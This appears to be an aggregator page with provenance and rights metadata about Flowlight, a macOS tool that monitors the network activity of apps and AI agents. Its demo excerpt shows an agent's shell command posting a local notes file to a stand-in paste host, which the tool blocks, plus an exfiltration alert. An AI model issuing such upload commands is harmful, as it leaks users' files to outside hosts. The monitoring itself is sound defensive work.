Flowlight – open-source network visibility for AI agents on macOS
Application-aware network intelligence · macOS 15+ See your apps' network activity.Understand your AI agents. Flowlight shows which applications connect, where they go and how much data they move. For AI agents, it traces tools, MCP servers and destinations—so unfamiliar hosts, sensitive channels and unusual uploads stand out.
- ▪Application-aware network intelligence · macOS 15+ See your apps' network activity.Understand your AI agents.
- ▪Flowlight shows which applications connect, where they go and how much data they move.
- ▪For AI agents, it traces tools, MCP servers and destinations—so unfamiliar hosts, sensitive channels and unusual uploads stand out.
Hacker News (AI / LLM) files mainly under ai. We currently carry 6,654 of its stories.
Story provenance
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Story provenance
Attribution is not the same as permission. This drawer separates discovery metadata, excerpts, WeSearch-generated summaries, reuse status, and whether the publisher receives the visit. Nothing here claims a legal grant the publisher has not made.
Record
| Original publisher | Flowlight |
| Canonical URL | https://flowlight.xinbetween.com/ |
| Publication time | Mon, 28 Sep 2026 04:46:27 +0000 |
| Retrieval time | 2026-09-28T04:51:06.733Z |
| Last seen | 2026-09-28T04:51:06.733Z |
| Headline source | Publisher (no WeSearch rewrite) |
| Excerpt source | publisher body |
| Excerpt method | First ~120 words (~800 chars) of extracted publisher body, fair-use limited. |
| Summary | WeSearch · cerebras-chat (WeSearch summarizer) |
| Summary source text | contentText |
| Citation coverage | Summary is a WeSearch-generated derivative; primary citation is the original publisher URL. |
| Cluster | ZM_vD8OFWWai · 1 stories |
| Cluster logic | Grouped by semantic title/content similarity across sources within a rolling window. Same-publisher template collisions are excluded from coverage comparison. |
| Ranking reason | Story pages are not engagement-ranked. Hub feeds use recency, with optional source-diversified chronological ordering (cap consecutive stories per source). No personalized ranking. |
| Publisher visit | Yes — open original |
| Substitutes article? | No — link-out required for full text |
Rights status (four layers)
WeSearch handling by dimension
| Indexing | May the item be indexed (stored, ranked, made findable)? | Allowed |
| Snippet | May a short excerpt of the publisher's text be shown? | Allowed |
| AI summary | May WeSearch generate its own short summary of the article? | Limited |
| Retrieval / RAG | May the content be exposed for third-party retrieval-augmented generation? | Not asserted |
| Model training | May the content be used to train AI models? | Not asserted |
| Commercial reuse | May the content be reused commercially? | Not permitted |
Basis: Derived from the published RSS/Atom feed. Contact: [email protected]. Reviewed: 2026-07-24.
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Application-aware network intelligence · macOS 15+ See your apps' network activity.Understand your AI agents. Flowlight shows which applications connect, where they go and how much data they move. For AI agents, it traces tools, MCP servers and destinations—so unfamiliar hosts, sensitive channels and unusual uploads stand out. Download for macOS Star on GitHub brew install --cask xinbetween/tap/flowlightCopy v0.9.3macOS 15+UniversalGPL-3.0No telemetry connectionslive claudeapi.anthropic.com · https:443↑ 1.4 MB ↳ Bash: curl -s paste.example/up -d @notes.txt claude › curlpaste.example · https:443refused ⛔ rule “Claude Code can't reach paste.example” Chromewww.youtube.com · quic:443↓ 9.2 MB codexuploads.paste.example · https:443↑ 180 MB ⚠ exfiltration: 180 MB to non-AI hosts in 1 h…
Excerpt limited to ~120 words for fair-use compliance. The full article is at Flowlight.
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